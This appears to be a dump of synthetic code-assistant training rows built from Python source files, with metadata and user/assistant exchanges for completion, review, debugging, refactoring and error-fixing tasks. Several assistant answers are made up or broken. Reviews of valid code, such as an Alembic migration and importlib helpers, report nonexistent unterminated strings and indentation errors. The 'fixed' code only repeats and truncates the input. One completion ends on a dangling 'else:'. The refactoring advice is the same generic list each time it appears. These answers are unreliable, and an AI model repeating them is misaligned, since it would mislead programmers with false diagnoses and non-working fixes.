Completion: Missing: Function 'next_lexo' is incomplete - body truncated To complete: • Complete the function 'next_lexo' body and add missing return Example continuation: F = list(S) F[-i], F[-j] = F[-j], F[-i] F = F[: -i + 1] + sorted(F[-i + 1 :]) return "".join(F) else:
|
intermediate
|
api
|
incomplete_code
|
Pythoncode:Python
| 1
| 0
| 332
| false
|
[{"role": "user", "content": "Complete this incomplete Pythoncode:Python code:\n\"\"\"\nNext lexicographical permutation algorithm\n\nhttps://www.nayuki.io/page/next-lexicographical-permutation-algorithm\n\"\"\"\n\n\ndef next_lexo(S):\n b = S[-1]\n for i, a in enumerate(reversed(S[:-1]), 2):\n if a < b:\n # we have the pivot a\n for j, b in enumerate(reversed(S), 1):\n if b > a:\n\n ... code continues ..."}, {"role": "assistant", "content": " Completion:\n\n Missing: Function 'next_lexo' is incomplete - body truncated\n\n To complete:\n \u2022 Complete the function 'next_lexo' body and add missing return\n\n Example continuation:\n F = list(S)\n F[-i], F[-j] = F[-j], F[-i]\n F = F[: -i + 1] + sorted(F[-i + 1 :])\n return \"\".join(F)\n else:"}]
| true
|
syntax
|
MID_FUNCTION
|
HIGH
|
8657657d7e720812db7b2b5c2b5e580159afbea0
|
TheStack--python--000.parquet
|
Suggest refactoring for this Pythoncode:Python code: import json import os from argparse import ArgumentTypeError from eth_typing import Address from web3.contract import Contract from settings import MIN_VAL, MAX_VAL, DEPLOYED_CONTRACTS, CONFIG_DIR def get_credentials(blockchain: str) -> tuple: if blockchain == 'polygon': from settings import ( polygon_private_keys ) return polygon_private_keys from settings import ( quorum_private_keys ) return quorum_private_keys def get_contract(w3, address: Address, compiled_contract_path: str) -> Contract: def get_abi(path: str) -> list: with open(path) as file: contract_json = json.load(file) contract_abi = contract_json['abi'] return contract_abi abi = get_abi(compiled_contract_path) contract = w3.eth.contract(address=address, abi=abi) return contract def check_statuses(statuses: []) -> bool: for idx in range(len(statuses)): if statuses[idx] == 0: return False return True def exists_mkdir(paths: []): for path in paths: if not os.path.exists(path): os.mkdir(path) def get_contracts_config(blockchain: str, msg: bool = True): if msg: print('Retrieve config file...') filename = f'{blockchain}.json' filepath = os.path.join(os.getcwd(), CONFIG_DIR, filename) with open(filepath) as file: contracts_summary = json.loads(file.read()) if msg: print(f'Config file retrieved at {filepath}.') return contracts_summary def range_limited_val(arg: str) -> int: """ Type function for argparse - int within some predefined bounds. """ try: s = int(arg) except ValueError: raise ArgumentTypeError("must be a int number") if s < MIN_VAL or s > MAX_VAL: raise ArgumentTypeError(f"argument must be > {str(MIN_VAL)} and < {str(MAX_VAL)}") return s
|
Refactoring suggestions: Extract reusable functions Improve naming conventions Add documentation
|
advanced
|
machine_learning
|
refactoring
|
Pythoncode:Python
| 7
| 0
| 1,916
| true
|
[{"role": "user", "content": "Suggest refactoring for this Pythoncode:Python code:\nimport json\nimport os\nfrom argparse import ArgumentTypeError\n\nfrom eth_typing import Address\nfrom web3.contract import Contract\n\nfrom settings import MIN_VAL, MAX_VAL, DEPLOYED_CONTRACTS, CONFIG_DIR\n\n\ndef get_credentials(blockchain: str) -> tuple:\n if blockchain == 'polygon':\n from settings import (\n polygon_private_keys\n )\n return polygon_private_keys\n from settings import (\n quorum_private_keys\n )\n return quorum_private_keys\n\n\ndef get_contract(w3, address: Address, compiled_contract_path: str) -> Contract:\n def get_abi(path: str) -> list:\n with open(path) as file:\n contract_json = json.load(file)\n contract_abi = contract_json['abi']\n return contract_abi\n\n abi = get_abi(compiled_contract_path)\n contract = w3.eth.contract(address=address, abi=abi)\n\n return contract\n\n\ndef check_statuses(statuses: []) -> bool:\n for idx in range(len(statuses)):\n if statuses[idx] == 0:\n return False\n return True\n\n\ndef exists_mkdir(paths: []):\n for path in paths:\n if not os.path.exists(path):\n os.mkdir(path)\n\n\ndef get_contracts_config(blockchain: str, msg: bool = True):\n if msg:\n print('Retrieve config file...')\n filename = f'{blockchain}.json'\n filepath = os.path.join(os.getcwd(), CONFIG_DIR, filename)\n with open(filepath) as file:\n contracts_summary = json.loads(file.read())\n if msg:\n print(f'Config file retrieved at {filepath}.')\n return contracts_summary\n\n\ndef range_limited_val(arg: str) -> int:\n \"\"\"\n Type function for argparse - int within some predefined bounds.\n \"\"\"\n try:\n s = int(arg)\n except ValueError:\n raise ArgumentTypeError(\"must be a int number\")\n if s < MIN_VAL or s > MAX_VAL:\n raise ArgumentTypeError(f\"argument must be > {str(MIN_VAL)} and < {str(MAX_VAL)}\")\n return s"}, {"role": "assistant", "content": "Refactoring suggestions:\n Extract reusable functions\n Improve naming conventions\n Add documentation"}]
| false
| null | null | null |
8657acef2a48725b54eda761add6bd9a28ac1231
|
TheStack--python--000.parquet
|
Review this Pythoncode:Python code: """add topics Revision ID: 816ea3631582 Revises: 37a124b0099b Create Date: 2021-03-13 14:20:10.044131 """ from alembic import op import sqlalchemy as sa import bot # revision identifiers, used by Alembic. revision = "816ea3631582" down_revision = "37a124b0099b" branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.create_table( "topics", sa.Column("content", sa.Text(), nullable=False), sa.Column("last_synced_at", bot.database.TIMESTAMP(timezone=True), nullable=True), sa.PrimaryKeyConstraint("content"), ) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_table("topics") # ### end Alembic commands ###
|
Code Review: ❌ Critical issues: Unterminated string literal at line 1 ⚠️ Code quality: Unexpected indentation at line 22 Unexpected indentation at line 23 Unexpected indentation at line 24 Unexpected indentation at line 25 Unexpected indentation at line 26 Unexpected indentation at line 27 Unexpected indentation at line 28 Unexpected indentation at line 33 Unexpected indentation at line 34 ✨ Improvements: Add closing quote at line 1
|
intermediate
|
database
|
code_review
|
Pythoncode:Python
| 2
| 0
| 808
| true
|
[{"role": "user", "content": "Review this Pythoncode:Python code:\n\"\"\"add topics\n\nRevision ID: 816ea3631582\nRevises: 37a124b0099b\nCreate Date: 2021-03-13 14:20:10.044131\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nimport bot\n\n\n# revision identifiers, used by Alembic.\nrevision = \"816ea3631582\"\ndown_revision = \"37a124b0099b\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table(\n \"topics\",\n sa.Column(\"content\", sa.Text(), nullable=False),\n sa.Column(\"last_synced_at\", bot.database.TIMESTAMP(timezone=True), nullable=True),\n sa.PrimaryKeyConstraint(\"content\"),\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table(\"topics\")\n # ### end Alembic commands ###"}, {"role": "assistant", "content": " Code Review:\n\n\n\u274c Critical issues:\n Unterminated string literal at line 1\n\n\u26a0\ufe0f Code quality:\n Unexpected indentation at line 22\n Unexpected indentation at line 23\n Unexpected indentation at line 24\n Unexpected indentation at line 25\n Unexpected indentation at line 26\n Unexpected indentation at line 27\n Unexpected indentation at line 28\n Unexpected indentation at line 33\n Unexpected indentation at line 34\n\n\u2728 Improvements:\n Add closing quote at line 1"}]
| false
| null | null | null |
8657d90fe7092bbdb91cfe26101bae5ad4366000
|
TheStack--python--000.parquet
|
Debug this Pythoncode:Python code: def invalidate_caches(): """Call the invalidate_caches() method on all meta path finders stored in sys.meta_path (where implemented).""" for finder in sys.meta_path: if hasattr(finder, 'invalidate_caches'): finder.invalidate_caches() def find_loader(name, path=None): """Find the loader for the specified module. First, sys.modules is checked to see if the module was already imported. If so, then sys.modules[name].__loader__ is returned. If that happens to be set to None, then ValueError is raised. If the module is not in sys.modules, then sys.meta_path is searched for a suitable loader with the value of 'path' given to the finders. None is returned if no loader could be found. Dotted names do not have their parent packages implicitly imported. You will most likely need to explicitly import all parent packages in the proper order for a submodule to get the correct loader. """ try: loader = sys.modules[name].__loader__ if loader is None: raise ValueError('{}.__loader__ is None'.format(name)) else: return loader except KeyError: pass return _bootstrap._find_module(name, path) def import_module(name, package=None): """Import a module. The 'package' argument is required when performing a relative import. It specifies the package to use as the anchor point from which to resolve the relative import to an absolute import. """ level = 0 if name.startswith('.'): if not package: raise TypeError("relative imports require the 'package' argument") for character in name: if character != '.': break level += 1 return _bootstrap._gcd_import(name[level:], package, level) #need at least one import hook for importlib stuff to work. from . import basehook sys.meta_path.append(basehook.BaseHook())
|
Code analysis results: 🔴 Errors found: Unterminated string literal at line 2 ⚠️ Warnings: Unexpected indentation at line 3 Unexpected indentation at line 4 Unexpected indentation at line 7 Unexpected indentation at line 11 💡 Suggestions: Add closing quote at line 2
|
intermediate
|
database
|
debugging
|
Pythoncode:Python
| 3
| 0
| 2,014
| true
|
[{"role": "user", "content": "Debug this Pythoncode:Python code:\ndef invalidate_caches():\r\n \"\"\"Call the invalidate_caches() method on all meta path finders stored in\r\n sys.meta_path (where implemented).\"\"\"\r\n for finder in sys.meta_path:\r\n if hasattr(finder, 'invalidate_caches'):\r\n finder.invalidate_caches()\r\n\r\n\r\ndef find_loader(name, path=None):\r\n \"\"\"Find the loader for the specified module.\r\n\r\n First, sys.modules is checked to see if the module was already imported. If\r\n so, then sys.modules[name].__loader__ is returned. If that happens to be\r\n set to None, then ValueError is raised. If the module is not in\r\n sys.modules, then sys.meta_path is searched for a suitable loader with the\r\n value of 'path' given to the finders. None is returned if no loader could\r\n be found.\r\n\r\n Dotted names do not have their parent packages implicitly imported. You will\r\n most likely need to explicitly import all parent packages in the proper\r\n order for a submodule to get the correct loader.\r\n\r\n \"\"\"\r\n try:\r\n loader = sys.modules[name].__loader__\r\n if loader is None:\r\n raise ValueError('{}.__loader__ is None'.format(name))\r\n else:\r\n return loader\r\n except KeyError:\r\n pass\r\n return _bootstrap._find_module(name, path)\r\n\r\n\r\ndef import_module(name, package=None):\r\n \"\"\"Import a module.\r\n\r\n The 'package' argument is required when performing a relative import. It\r\n specifies the package to use as the anchor point from which to resolve the\r\n relative import to an absolute import.\r\n\r\n \"\"\"\r\n level = 0\r\n if name.startswith('.'):\r\n if not package:\r\n raise TypeError(\"relative imports require the 'package' argument\")\r\n for character in name:\r\n if character != '.':\r\n break\r\n level += 1\r\n return _bootstrap._gcd_import(name[level:], package, level)\r\n\r\n\r\n#need at least one import hook for importlib stuff to work.\r\nfrom . import basehook\r\nsys.meta_path.append(basehook.BaseHook())"}, {"role": "assistant", "content": " Code analysis results:\n\n\n\ud83d\udd34 Errors found:\n Unterminated string literal at line 2\n\n\u26a0\ufe0f Warnings:\n Unexpected indentation at line 3\n Unexpected indentation at line 4\n Unexpected indentation at line 7\n Unexpected indentation at line 11\n\n\ud83d\udca1 Suggestions:\n Add closing quote at line 2"}]
| false
| null | null | null |
86582bc3a8c357318983a8612ae2ca233e2c4562
|
TheStack--python--000.parquet
|
Fix this broken Pythoncode:Python code: from __future__ import annotations import base64 import io import logging import pathlib from typing import Optional # TODO: Remove these, as they should be contained in the numpy backend. import numpy as np import PIL.Image as PImage import arlunio.ast as ast import arlunio.color as color import arlunio.mask as mask import arlunio.math as math class Image: """Our representation of an image, implemented as a wrapper around a standard Pillow image.""" def __init__(self, img: PImage.Image): self.img = img """The wrapped pillow image object.""" def __eq__(self, other): if not isinstance(other, Image): return False a = np.asarray(self.img) b = np.asarray(other.img) return (a == b).all() def __add__(self, other): if isinstance(other, Image): other = other.img if not isinstance(other, PI Error: SyntaxError / EOF
|
Fixed Code: from __future__ import annotations import base64 import io import logging import pathlib from typing import Optional # TODO: Remove these, as they should be contained in the numpy backend. import numpy as np import PIL.Image as PImage import arlunio.ast as ast import arlunio.color as color import arlunio.mask as mask import arlunio.math as math class Image: """Our representation of an image, implemented as a wrapper around a standard Pillow image.""" Explanation: Complete the truncated code structure
|
advanced
|
ui
|
error_fixing
|
Pythoncode:Python
| 14
| 1
| 912
| true
|
[{"role": "user", "content": "Fix this broken Pythoncode:Python code:\nfrom __future__ import annotations\n\nimport base64\nimport io\nimport logging\nimport pathlib\nfrom typing import Optional\n\n# TODO: Remove these, as they should be contained in the numpy backend.\nimport numpy as np\nimport PIL.Image as PImage\n\nimport arlunio.ast as ast\nimport arlunio.color as color\nimport arlunio.mask as mask\nimport arlunio.math as math\n\nclass Image:\n \"\"\"Our representation of an image, implemented as a wrapper around a standard\n Pillow image.\"\"\"\n\n def __init__(self, img: PImage.Image):\n self.img = img\n \"\"\"The wrapped pillow image object.\"\"\"\n\n def __eq__(self, other):\n\n if not isinstance(other, Image):\n return False\n\n a = np.asarray(self.img)\n b = np.asarray(other.img)\n\n return (a == b).all()\n\n def __add__(self, other):\n\n if isinstance(other, Image):\n other = other.img\n\n if not isinstance(other, PI\n\n Error: SyntaxError / EOF"}, {"role": "assistant", "content": " Fixed Code:\n\n\nfrom __future__ import annotations\n\nimport base64\nimport io\nimport logging\nimport pathlib\nfrom typing import Optional\n\n# TODO: Remove these, as they should be contained in the numpy backend.\nimport numpy as np\nimport PIL.Image as PImage\n\nimport arlunio.ast as ast\nimport arlunio.color as color\nimport arlunio.mask as mask\nimport arlunio.math as math\n\nclass Image:\n \"\"\"Our representation of an image, implemented as a wrapper around a standard\n Pillow image.\"\"\"\n\n Explanation: Complete the truncated code structure"}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
86589b5f56644ed9997dc3b47f7f98c31f2ddd04
|
TheStack--python--000.parquet
|
Suggest refactoring for this Pythoncode:Python code: from copy import copy class StringIO(StringIO): def __enter__(self): return self def __exit__(self, exception_type, exception_value, traceback): self.close() except ImportError: from io import StringIO try: # python 3.5+ from typing import Dict, Any from yamlable import Y except ImportError: pass import pytest from yaml import dump, load from yamlable import YamlAble, yaml_info def test_yamlable_incomplete_description(): """ Tests that if __yaml_tag_suffix__ is not provided a YamlAble subclass cannot be declared """ with pytest.raises(NotImplementedError) as err_info: class Foo(YamlAble): # __yaml_tag_suffix__ = 'foo' def __to_yaml_dict__(self): # type: (...) -> Dict[str, Any] return copy(vars(self)) @classmethod def __from_yaml_dict__(cls, # type: Type[Y] dct, # type: Dict[str, Any] yaml_tag # type: str ): # type: (...) -> Y return Foo(**dct) # instantiate f = Foo() # dump f.dumps_yaml() assert "does not seem to have a non-None '__yaml_tag_suffix__' field" in str(err_info.value) def test_yamlable(): """ Tests that YamlAble works correctly """ @yaml_info(yaml_tag_ns='yaml.tests') class Foo(YamlAble): # __yaml_tag_suffix__ = 'foo' not needed: we used @yaml_info def __init__(self, a, b): self.a = a self.b = b def __eq__(self, other): return vars(self) == vars(other) def __to_yaml_dict__(self): # type: (...) -> Dict[str, Any] return copy(vars(self)) @classmethod def __from_yaml_dict__(cls, # type: Type[Y] dct, # type: Dict[str, Any] yaml_tag # type: str ): # type: (...) -> Y return Foo(**dct) # instantiate f = Foo(1, 'hello') # note: # dump y = f.dumps_yaml(default_flow_style=False) assert y == """!yamlable/yaml.tests.Foo a: 1 b: hello """ # dump io class MemorizingStringIO(StringIO): """ A StringIO object that memorizes its buffer when it is closed (as opposed to the standard StringIO) """ ... [34 more functiondefs truncated] ...
|
Refactoring suggestions: Extract reusable functions Improve naming conventions Add documentation
|
advanced
|
testing
|
refactoring
|
Pythoncode:Python
| 10
| 4
| 2,498
| true
|
[{"role": "user", "content": "Suggest refactoring for this Pythoncode:Python code:\nfrom copy import copy\n class StringIO(StringIO):\n def __enter__(self):\n return self\n def __exit__(self, exception_type, exception_value, traceback):\n self.close()\n\nexcept ImportError:\n from io import StringIO\n\ntry: # python 3.5+\n from typing import Dict, Any\n from yamlable import Y\nexcept ImportError:\n pass\n\nimport pytest\nfrom yaml import dump, load\n\nfrom yamlable import YamlAble, yaml_info\n\n\ndef test_yamlable_incomplete_description():\n \"\"\" Tests that if __yaml_tag_suffix__ is not provided a YamlAble subclass cannot be declared \"\"\"\n with pytest.raises(NotImplementedError) as err_info:\n class Foo(YamlAble):\n # __yaml_tag_suffix__ = 'foo'\n def __to_yaml_dict__(self):\n # type: (...) -> Dict[str, Any]\n return copy(vars(self))\n\n @classmethod\n def __from_yaml_dict__(cls, # type: Type[Y]\n dct, # type: Dict[str, Any]\n yaml_tag # type: str\n ):\n # type: (...) -> Y\n return Foo(**dct)\n\n # instantiate\n f = Foo()\n\n # dump\n f.dumps_yaml()\n\n assert \"does not seem to have a non-None '__yaml_tag_suffix__' field\" in str(err_info.value)\n\n\ndef test_yamlable():\n \"\"\" Tests that YamlAble works correctly \"\"\"\n\n @yaml_info(yaml_tag_ns='yaml.tests')\n class Foo(YamlAble):\n # __yaml_tag_suffix__ = 'foo' not needed: we used @yaml_info\n\n def __init__(self, a, b):\n self.a = a\n self.b = b\n\n def __eq__(self, other):\n return vars(self) == vars(other)\n\n def __to_yaml_dict__(self):\n # type: (...) -> Dict[str, Any]\n return copy(vars(self))\n\n @classmethod\n def __from_yaml_dict__(cls, # type: Type[Y]\n dct, # type: Dict[str, Any]\n yaml_tag # type: str\n ):\n # type: (...) -> Y\n return Foo(**dct)\n\n # instantiate\n f = Foo(1, 'hello') # note:\n\n # dump\n y = f.dumps_yaml(default_flow_style=False)\n assert y == \"\"\"!yamlable/yaml.tests.Foo\na: 1\nb: hello\n\"\"\"\n\n # dump io\n class MemorizingStringIO(StringIO):\n \"\"\" A StringIO object that memorizes its buffer when it is closed (as opposed to the standard StringIO) \"\"\"\n\n ... [34 more functiondefs truncated] ..."}, {"role": "assistant", "content": "Refactoring suggestions:\n Extract reusable functions\n Improve naming conventions\n Add documentation"}]
| false
| null | null | null |
865a20fd18fa17925d3611f9138e1d796448c4ce
|
TheStack--python--000.parquet
|
Fix this broken Pythoncode:Python code: # -*- test-case-name: twisted.web.test.test_web -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. def quote(string, *args, **kwargs): return _quote(string.decode("charmap"), *args, **kwargs).encode("charmap") def _addressToTuple(addr): if isinstance(addr, address.IPv4Address): return ("INET", addr.host, addr.port) elif isinstance(addr, address.UNIXAddress): return ("UNIX", addr.name) else: return tuple(addr) @implementer(iweb.IRequest) class Request(Copyable, http.Request, components.Componentized): """ An HTTP request. @ivar defaultContentType: A L{bytes} giving the default I{Content-Type} value to send in responses if no other value is set. L{None} disables the default. @ivar _insecureSession: The L{Session} object representing state that will Error: SyntaxError / EOF
|
Fixed Code: # -*- test-case-name: twisted.web.test.test_web -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. def quote(string, *args, **kwargs): return _quote(string.decode("charmap"), *args, **kwargs).encode("charmap") def _addressToTuple(addr): if isinstance(addr, address.IPv4Address): return ("INET", addr.host, addr.port) elif isinstance(addr, address.UNIXAddress): return ("UNIX", addr.name) else: return tuple(addr) @implementer(iweb.IRequest) class Request(Copyable, http.Request, components.Componentized): """ Explanation: Complete the truncated code structure
|
advanced
|
testing
|
error_fixing
|
Pythoncode:Python
| 5
| 1
| 861
| false
|
[{"role": "user", "content": "Fix this broken Pythoncode:Python code:\n# -*- test-case-name: twisted.web.test.test_web -*-\n# Copyright (c) Twisted Matrix Laboratories.\n# See LICENSE for details.\n\ndef quote(string, *args, **kwargs):\n return _quote(string.decode(\"charmap\"), *args, **kwargs).encode(\"charmap\")\n\n\ndef _addressToTuple(addr):\n if isinstance(addr, address.IPv4Address):\n return (\"INET\", addr.host, addr.port)\n elif isinstance(addr, address.UNIXAddress):\n return (\"UNIX\", addr.name)\n else:\n return tuple(addr)\n\n\n@implementer(iweb.IRequest)\nclass Request(Copyable, http.Request, components.Componentized):\n \"\"\"\n An HTTP request.\n\n @ivar defaultContentType: A L{bytes} giving the default I{Content-Type}\n value to send in responses if no other value is set. L{None} disables\n the default.\n\n @ivar _insecureSession: The L{Session} object representing state that will\n\n Error: SyntaxError / EOF"}, {"role": "assistant", "content": " Fixed Code:\n\n\n# -*- test-case-name: twisted.web.test.test_web -*-\n# Copyright (c) Twisted Matrix Laboratories.\n# See LICENSE for details.\n\ndef quote(string, *args, **kwargs):\n return _quote(string.decode(\"charmap\"), *args, **kwargs).encode(\"charmap\")\n\n\ndef _addressToTuple(addr):\n if isinstance(addr, address.IPv4Address):\n return (\"INET\", addr.host, addr.port)\n elif isinstance(addr, address.UNIXAddress):\n return (\"UNIX\", addr.name)\n else:\n return tuple(addr)\n\n\n@implementer(iweb.IRequest)\nclass Request(Copyable, http.Request, components.Componentized):\n \"\"\"\n\n Explanation: Complete the truncated code structure"}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
865a984bc7cd45c042cff94434fa063630359314
|
TheStack--python--000.parquet
|
Find all errors in this Pythoncode:Python code: from pycoin.networks.bitcoinish import create_bitcoinish_network network = create_bitcoinish_network( symbol="DOGE", network_name="Dogecoin", subnet_name="mainnet",
|
Error Analysis: Error Type: HARD_CUT Error: SyntaxError / EOF Detected Errors: • Unclosed '(' at line 3 - expected ')' • SyntaxError: '(' was never closed at line 3 Fix: Complete the truncated code structure
|
intermediate
|
machine_learning
|
error_detection
|
Pythoncode:Python
| 0
| 0
| 169
| true
|
[{"role": "user", "content": "Find all errors in this Pythoncode:Python code:\nfrom pycoin.networks.bitcoinish import create_bitcoinish_network\n\nnetwork = create_bitcoinish_network(\n symbol=\"DOGE\", network_name=\"Dogecoin\", subnet_name=\"mainnet\","}, {"role": "assistant", "content": " Error Analysis:\n\n Error Type: HARD_CUT\n Error: SyntaxError / EOF\n\n Detected Errors:\n \u2022 Unclosed '(' at line 3 - expected ')'\n \u2022 SyntaxError: '(' was never closed at line 3\n\n Fix: Complete the truncated code structure"}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
865ad1612ffd549ba548de0cbe66876028b4a804
|
TheStack--python--000.parquet
|
Repair the syntax errors in this Pythoncode:Python code: def hamming(n): """Returns the nth hamming number""" hamming = {1} x = 1 while len(hamming) <= n * 3.5: new_hamming = {1} for i in hamming: new_hamming.add(i * 2) new_hamming.add(i * 3) new_hamming.add(i * 5) # merge new number into hamming set hamming = hamming.union(new_hamming) hamming = sorted(list(hamming)) return hamming[n - 1] print(hamming(970)) # hamming(968) should be 41943040 # hamming(969) should be 41990400 # hamming(970) should be 42187500
|
Syntax Analysis: Syntax Errors Found: • IndentationError at line 7 Fixes: • Fix indentation to match Python syntax rules
|
intermediate
|
general
|
syntax_repair
|
Pythoncode:Python
| 1
| 0
| 556
| false
|
[{"role": "user", "content": "Repair the syntax errors in this Pythoncode:Python code:\ndef hamming(n):\n \"\"\"Returns the nth hamming number\"\"\"\n hamming = {1}\n x = 1\n while len(hamming) <= n * 3.5:\n new_hamming = {1}\n for i in hamming:\n new_hamming.add(i * 2)\n new_hamming.add(i * 3)\n new_hamming.add(i * 5)\n # merge new number into hamming set\n hamming = hamming.union(new_hamming)\n hamming = sorted(list(hamming))\n return hamming[n - 1]\n\n\nprint(hamming(970))\n\n\n# hamming(968) should be 41943040\n# hamming(969) should be 41990400\n# hamming(970) should be 42187500"}, {"role": "assistant", "content": " Syntax Analysis:\n\n Syntax Errors Found:\n \u2022 IndentationError at line 7\n\n Fixes:\n \u2022 Fix indentation to match Python syntax rules"}]
| true
|
syntax
|
BROKEN_INDENTATION
|
MEDIUM
|
865af347d7d59f9bd67eb9dbfa07a221fbd308e5
|
TheStack--python--000.parquet
|
Complete this incomplete Pythoncode:Python code: import logging from grpc_health.v1 import health_pb2, health_pb2_grpc from grpc_health.v1.health import HealthServicer from needlestack.apis import servicers_pb2_grpc from needlestack.servicers import factory from needlestack.servicers.merger import MergerServicer from examples import configs logging.getLogger("kazoo").setLevel("WARN") def main(): config = configs.LocalDockerConfig() server = factory.create_server(config) manager = factory.create_zookeeper_c ... code continues ...
|
Completion: Missing: Code truncated abruptly - unexpected end of file To complete: • Complete the truncated code structure Example continuation: manager.startup() servicers_pb2_grpc.add_MergerServicer_to_server(MergerServicer(config, manager), server) health = HealthServicer()
|
intermediate
|
api
|
incomplete_code
|
Pythoncode:Python
| 1
| 0
| 481
| true
|
[{"role": "user", "content": "Complete this incomplete Pythoncode:Python code:\nimport logging\n\nfrom grpc_health.v1 import health_pb2, health_pb2_grpc\nfrom grpc_health.v1.health import HealthServicer\n\nfrom needlestack.apis import servicers_pb2_grpc\nfrom needlestack.servicers import factory\nfrom needlestack.servicers.merger import MergerServicer\n\nfrom examples import configs\n\nlogging.getLogger(\"kazoo\").setLevel(\"WARN\")\n\n\ndef main():\n config = configs.LocalDockerConfig()\n\n server = factory.create_server(config)\n manager = factory.create_zookeeper_c\n\n ... code continues ..."}, {"role": "assistant", "content": " Completion:\n\n Missing: Code truncated abruptly - unexpected end of file\n\n To complete:\n \u2022 Complete the truncated code structure\n\n Example continuation:\n manager.startup()\n\n servicers_pb2_grpc.add_MergerServicer_to_server(MergerServicer(config, manager), server)\n\n health = HealthServicer()"}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
865b44ebd78e20ddd28ec532ea20204eaa6a07dc
|
TheStack--python--000.parquet
|
Fill in the in this Pythoncode:Python code: import os import shogi import backoff import subprocess from util import * import logging def create_engine(config, board): cfg = config["engine"] engine_path = os.path.realpath(os.path.join(cfg["dir"], cfg["name"])) engine_type = cfg.get("protocol") engine_options = cfg.get("engine_options") commands = [engine_path] if engine_options: for k, v in engine_options.items(): commands.append("--{}={}".format(k, v)) silence_stderr = cfg.get("silence_stderr", False) return USIEngine(board, commands, cfg.get("usi_options", {}), cfg.get("go_commands", {}), silence_stderr) class EngineWrapper: def __init__(self, board, commands, options=None, silence_stderr=False): pass def search_for(self, board, movetime): pass def first_search(self, board, movetime): pass def search(self, game, board, btime, wtime, binc, winc): pass def print_stats(self): pass def get_opponent_info(self, game): pass def name(self): return self.engine.name def report_game_result(self, game, board): pass def quit(self): self.engine.kill_process() def print_handler_stats(self): pass def get_handler_stats(self): pass class USIEngine(EngineWrapper): def __init__(self, board, commands, options, go_commands={}, silence_stderr=False): commands = commands[0] if len(commands) == 1 else commands # Complete this line self.engine = engine_ctrl.Engine(commands) self.engine.usi() if options: for name, value in options.items(): self.engine.setoption(name, value) self.engine.isready() def first_search(self, board, movetime): best_move, _ = self.engine.go(board.sfen(), "", movetime=movetime) return best_move def search_with_ponder(self, game, board, btime, wtime, binc, winc, byo, ponder=False): moves = [m.usi() for m in list(board.move_stack)] cmds = self.go_commands if len(cmds) > 0: best_move, ponder_move = self.engine.go( game.initial_fen, moves, nodes=cmds.get("nodes"), depth=cmds.get("depth"), movetime=cmds.get("movetime"), ponder=ponder ) else: best_move, ponder_move = self.engine.go( game.initial_fen, moves, btime=btime, wtime=wtime, binc=binc, winc=winc, byo=byo, ponder=ponder ) return (best_move, ponder_move) ... [6 more functiondefs truncated] ...
|
The missing line is: self.go_commands = go_commands
|
advanced
|
database
|
fill_in_the_blank
|
Pythoncode:Python
| 15
| 2
| 2,846
| true
|
[{"role": "user", "content": "Fill in the in this Pythoncode:Python code:\nimport os\nimport shogi\nimport backoff\nimport subprocess\nfrom util import *\nimport logging\n\ndef create_engine(config, board):\n cfg = config[\"engine\"]\n engine_path = os.path.realpath(os.path.join(cfg[\"dir\"], cfg[\"name\"]))\n engine_type = cfg.get(\"protocol\")\n engine_options = cfg.get(\"engine_options\")\n commands = [engine_path]\n if engine_options:\n for k, v in engine_options.items():\n commands.append(\"--{}={}\".format(k, v))\n\n silence_stderr = cfg.get(\"silence_stderr\", False)\n\n return USIEngine(board, commands, cfg.get(\"usi_options\", {}), cfg.get(\"go_commands\", {}), silence_stderr)\n\n\nclass EngineWrapper:\n def __init__(self, board, commands, options=None, silence_stderr=False):\n pass\n\n def search_for(self, board, movetime):\n pass\n\n def first_search(self, board, movetime):\n pass\n\n def search(self, game, board, btime, wtime, binc, winc):\n pass\n\n def print_stats(self):\n pass\n\n def get_opponent_info(self, game):\n pass\n\n def name(self):\n return self.engine.name\n\n def report_game_result(self, game, board):\n pass\n\n def quit(self):\n self.engine.kill_process()\n\n def print_handler_stats(self):\n pass\n\n def get_handler_stats(self):\n pass\n\n\nclass USIEngine(EngineWrapper):\n def __init__(self, board, commands, options, go_commands={}, silence_stderr=False):\n commands = commands[0] if len(commands) == 1 else commands \n # Complete this line\n\n self.engine = engine_ctrl.Engine(commands)\n self.engine.usi()\n\n if options:\n for name, value in options.items():\n self.engine.setoption(name, value)\n self.engine.isready()\n\n def first_search(self, board, movetime):\n best_move, _ = self.engine.go(board.sfen(), \"\", movetime=movetime)\n return best_move\n\n def search_with_ponder(self, game, board, btime, wtime, binc, winc, byo, ponder=False):\n moves = [m.usi() for m in list(board.move_stack)]\n cmds = self.go_commands \n if len(cmds) > 0:\n best_move, ponder_move = self.engine.go(\n game.initial_fen,\n moves,\n nodes=cmds.get(\"nodes\"),\n depth=cmds.get(\"depth\"),\n movetime=cmds.get(\"movetime\"),\n ponder=ponder\n )\n else:\n best_move, ponder_move = self.engine.go(\n game.initial_fen,\n moves,\n btime=btime,\n wtime=wtime,\n binc=binc,\n winc=winc,\n byo=byo,\n ponder=ponder\n )\n return (best_move, ponder_move)\n\n\n ... [6 more functiondefs truncated] ..."}, {"role": "assistant", "content": "The missing line is:\n self.go_commands = go_commands"}]
| false
| null | null | null |
865b48e5b6d60c2c5b81fb4b0a827e80f5502ece
|
TheStack--python--000.parquet
|
